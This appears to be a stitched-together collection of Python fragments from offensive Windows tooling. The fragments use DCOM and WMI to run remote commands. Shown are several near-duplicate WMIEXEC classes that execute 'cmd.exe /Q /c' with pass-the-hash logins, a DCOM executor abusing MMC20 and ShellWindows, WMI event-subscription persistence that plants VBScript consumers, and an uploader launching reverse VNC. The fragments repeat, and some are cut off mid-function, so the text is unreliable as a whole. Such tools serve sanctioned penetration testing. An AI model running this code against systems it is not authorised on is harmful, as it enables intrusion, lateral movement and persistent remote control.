def test_IWbemServices_ExecMethod(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classObject,_ = iWbemServices.GetObject('WinMgmts:Win32_LogicalDisk='C:'') classObject,_ = iWbemServices.GetObject('Win32_Process') obj = classObject.Create('notepad.exe', 'c:\\', None) handle = obj.getProperties()['ProcessId']['value'] iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Process where handle = %s' % handle) oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #time.sleep(5) owner = oooo.Terminate(1) #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Group where name = "testGroup0"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #owner = oooo.Rename('testGroup1') #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #owner = oooo.GetAccessMask() #print owner.getProperties() #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #obj = oooo.SetShareInfo(0, 'HOLA BETO', None) #classObject,_ = iWbemServices.GetObject('Win32_ShadowCopy') #obj = classObject.Create('C:\\', 'ClientAccessible') #print obj.getProperties() # this one doesn't work #classObject,_ = iWbemServices.GetObject('Win32_Service') #obj = classObject.Create('BETOSERVICE', 'Beto Service', 'c:\\beto', 16, 0, 'Manual', 0, None, None, None, None, None) #print obj.getProperties() dcom.disconnect()
def connect(self, host, username, password, domain=None, lmhash="", nthash=""): if not domain: domain = host.ip_addr dcom = DCOMConnection(host.ip_addr, username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) except Exception, exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: raise AccessDeniedException(host, username, password, domain) raise
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.execute_handler(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print self.__outputBuffer self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = '' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: try: self.execute_fileless(data) except: self.cd('\\') self.execute_remote(data) else: self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
domain, lmhash, nthash, options.aesKey, oxidResolver=True, doKerberos=options.k) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) iWbemLevel1Login.RemRelease() shell = WMIQUERY(iWbemServices) if options.file is None: shell.cmdloop() else: for line in options.file.readlines(): print "WQL> %s" % line, shell.onecmd(line) iWbemServices.RemRelease() dcom.disconnect() except Exception, e: logging.error(str(e)) try: dcom.disconnect() except: pass
class WmiCon(Connector): def __init__(self, args, loggers, ip, host): Connector.__init__(self, args, loggers, ip) """Display var passed for output formatting but, IP is used to establish to connection, as hostname can be inconsistent""" self.display_ip = ip self.display_host = host self._debug = False self.dcom = None self.wmi_con = None self.process_list = {} def create_wmi_con(self, namespace='root\\cimv2'): self.dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.wmi_con = iWbemLevel1Login.NTLMLogin( '\\\\{}\\{}'.format(self.host, namespace), NULL, NULL) def get_netprocess(self, tasklist=False): self.create_wmi_con() wmi_enum_process = self.wmi_con.ExecQuery( 'SELECT * from Win32_Process', lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_process = wmi_enum_process.Next(0xffffffff, 1)[0] wmi_process_owner = wmi_process.GetOwner() attributes = { 'computername': self.host, 'processname': wmi_process.Name, 'processid': wmi_process.ProcessId, 'user': wmi_process_owner.User, 'domain': wmi_process_owner.Domain } # Dont wait until end to print if tasklist: self.logger.info([ self.display_host, self.display_ip, "TASKLIST", "PID: {:<6} Name: {:<20} User: {:<17} Host: {:<15} Domain: {}" .format(attributes['processid'], attributes['processname'], attributes['user'], attributes['computername'], attributes['domain']) ]) self.process_list[wmi_process.ProcessId] = attributes except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug("Get-NetProcess: {}".format(str(e))) else: break self.disconnect() def wmi_query(self, namespace, query): self.create_wmi_con(namespace) wmi_query = self.wmi_con.ExecQuery(query, lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_results = wmi_query.Next(0xffffffff, 1)[0] wmi_results = wmi_results.getProperties() for k, v in wmi_results.items(): self.logger.info([ self.display_host, self.display_ip, 'WMI QUERY', "{:<30} {}".format(k, v['value']) ]) except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug("WMIQuery: {}".format(str(e))) else: break self.disconnect() def disconnect(self): self.dcom.disconnect()
dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) if options.rpc_auth_level == 'privacy': iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) elif options.rpc_auth_level == 'integrity': iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) iWbemLevel1Login.RemRelease() shell = WMIQUERY(iWbemServices) if options.file is None: shell.cmdloop() else: for line in options.file.readlines(): print "WQL> %s" % line, shell.onecmd(line) iWbemServices.RemRelease() dcom.disconnect() except Exception, e: logging.error(str(e)) try: dcom.disconnect() except: pass
def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport): if bc_ip is None: bc_ip = '' self.launch_string = 'Invoke-Vnc ' if contype == 'bind': pass elif contype == 'reverse': if bc_ip is None: print 'Ip addr required for reverse connection' sys.exit(1) else: self.launch_string += '-IpAddress ' + bc_ip self.launch_string += ' -ConType ' + contype + ' -Port ' + vncport + ' -Password ' + vncpass logging.info("Using powershell launch string '" + self.launch_string + "'") if method == 'upload': logging.info("Connecting to SMB at " + addr) self.smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = self.smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, None) logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename) if contype == 'bind': logging.info("VNC server should start at {0}:{1}".format( addr, vncport)) else: logging.info("Expect reverse VNC connection at port " + vncport) self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename) logging.info( "Sleeping 10 seconds to allow bat file to unpack itself before deleting it" ) time.sleep(10) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("File " + self.__share + self.full_file_path + " deleted") except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.info( "Error on executing bat file. Trying to delete it before exiting" ) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("{0} deleted".format(self.__share + self.full_file_path)) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect()
def tes_activation(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLoginClientID) dcom.disconnect()
def tes_activation(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLoginClientID) dcom.disconnect()
class WMIEXEC: def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = "" self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = "\\" + gen_random_string(6) self.__outputBuffer = "" self.__shell = "cmd.exe /Q /c " self.__pwd = "C:\\" self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: self.__password = "" self.__dcom = DCOMConnection( self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, ) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.cd("\\") self.execute_remote(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote("cd " + s) if len(self.__outputBuffer.strip("\r\n")) > 0: print self.__outputBuffer self.__outputBuffer = "" else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote("cd ") self.__pwd = self.__outputBuffer.strip("\r\n") self.prompt = self.__pwd + ">" self.__outputBuffer = "" def execute_remote(self, data): command = self.__shell + data if self.__retOutput: command += " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" self.__win32Process.Create(command, self.__pwd, None) self.get_output() def get_output(self): if self.__retOutput is False: self.__outputBuffer = "" return def output_callback(data): self.__outputBuffer += data while True: try: self.__smbconnection.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait sleep(2) pass else: # print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
class WMIEXEC: def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = '\\' + gen_random_string(6) self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject('Win32_Process') def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.cd('\\') self.execute_remote(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print self.__outputBuffer self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' def execute_remote(self, data): command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' self.__win32Process.Create(command, self.__pwd, None) self.get_output() def get_output(self): if self.__retOutput is False: self.__outputBuffer = '' return def output_callback(data): self.__outputBuffer += data while True: try: self.__smbconnection.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
class WMIQUERY: def __init__(self, logger, connection, wmi_namespace): self.__logger = logger self.__addr = connection.host self.__username = connection.username self.__password = connection.password self.__hash = connection.hash self.__domain = connection.domain self.__namespace = wmi_namespace self.__iWbemServices = None self.__doKerberos = False self.__aesKey = None self.__oxidResolver = True self.__lmhash = '' self.__nthash = '' if self.__hash is not None: self.__lmhash, self.__nthash = self.__hash.split(':') if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL) iWbemLevel1Login.RemRelease() except Exception as e: self.__logger.error(e) def query(self, query): query = query.strip('\n') if query[-1:] == ';': query = query[:-1] if self.__iWbemServices: iEnumWbemClassObject = self.__iWbemServices.ExecQuery(query.strip('\n')) self.__logger.success('Executed specified WMI query') self.printReply(iEnumWbemClassObject) iEnumWbemClassObject.RemRelease() self.__iWbemServices.RemRelease() self.__dcom.disconnect() def describe(self, sClass): sClass = sClass.strip('\n') if sClass[-1:] == ';': sClass = sClass[:-1] try: iObject, _ = self.iWbemServices.GetObject(sClass) iObject.printInformation() iObject.RemRelease() except Exception as e: traceback.print_exc() def printReply(self, iEnum): printHeader = True while True: try: pEnum = iEnum.Next(0xffffffff,1)[0] record = pEnum.getProperties() line = [] for rec in record: line.append('{}: {}'.format(rec, record[rec]['value'])) self.__logger.highlight(' | '.join(line)) except Exception, e: #import traceback #print traceback.print_exc() if str(e).find('S_FALSE') < 0: raise else: break iEnum.RemRelease()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document',)) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit',))[0] elif self.__dcomObject == 'MMC20': iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit',))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def run(self, addr): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) self.checkError('Removing EventFilter EF_%s' % self.__options.name, iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name, iWbemServices.DeleteInstance( '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name, iWbemServices.DeleteInstance( r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' r'Filter="__EventFilter.Name=\"EF_%s\""' % ( self.__options.name, self.__options.name))) else: activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer') activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] activeScript.ScriptText = options.vbs.read() self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: eventFilter,_ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' self.checkError('Adding EventFilter EF_%s'% self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction') wmiTimer = wmiTimer.SpawnInstance() wmiTimer.TimerId = 'TI_%s' % self.__options.name wmiTimer.IntervalBetweenEvents = int(self.__options.timer) #wmiTimer.SkipIfPassed = False self.checkError('Adding IntervalTimerInstruction', iWbemServices.PutInstance(wmiTimer.marshalMe())) eventFilter,_ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' self.checkError('Adding EventFilter EF_%s'% self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding') filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] self.checkError('Adding FilterToConsumerBinding', iWbemServices.PutInstance(filterBinding.marshalMe())) dcom.disconnect()
class WMIEXEC: def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = '\\' + gen_random_string(6) self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') def execute(self, command, output=False): self.__retOutput = output try: if self.__retOutput: self.__smbconnection.setTimeout(100000) self.cd('\\') self.execute_remote(command) self.__dcom.disconnect() return self.__outputBuffer except Exception as e: traceback.print_exc() self.__dcom.disconnect() def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print self.__outputBuffer self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' def execute_remote(self, data): command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' self.__win32Process.Create(command, self.__pwd, None) self.get_output() def get_output(self): if self.__retOutput is False: self.__outputBuffer = '' return def output_callback(data): self.__outputBuffer += data while True: try: self.__smbconnection.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait sleep(1) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx( string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document', )) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx( string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, 